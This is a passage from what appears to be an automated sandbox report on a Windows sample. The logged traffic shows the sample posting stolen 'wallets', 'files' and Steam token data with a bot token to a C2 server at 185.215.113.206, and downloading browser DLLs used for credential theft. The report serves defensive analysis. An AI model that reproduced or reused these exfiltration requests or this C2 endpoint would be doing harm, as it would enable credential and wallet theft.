45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file"------IIJEBFCFIJJJEBGDBAKE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file"------HCBFIJJECFIEBGDGCFIJ--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAEHDBFIDAFIDHJEBFBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"wallets------KFHCAEGCBFHJDGCBFHDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"files------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 2d 2d 0d 0a Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="message"ybncbhylepme------FIJDGIJJKEGIEBGCGDHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKFCFBAAEHCFHJJKEHJK--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49760 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49763
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49746

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C63CC60 PR_Recv,

0_2_6C63CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=te1otyXvkGV1W7H&MD=KbCT987Z HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=te1otyXvkGV1W7H&MD=KbCT987Z HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
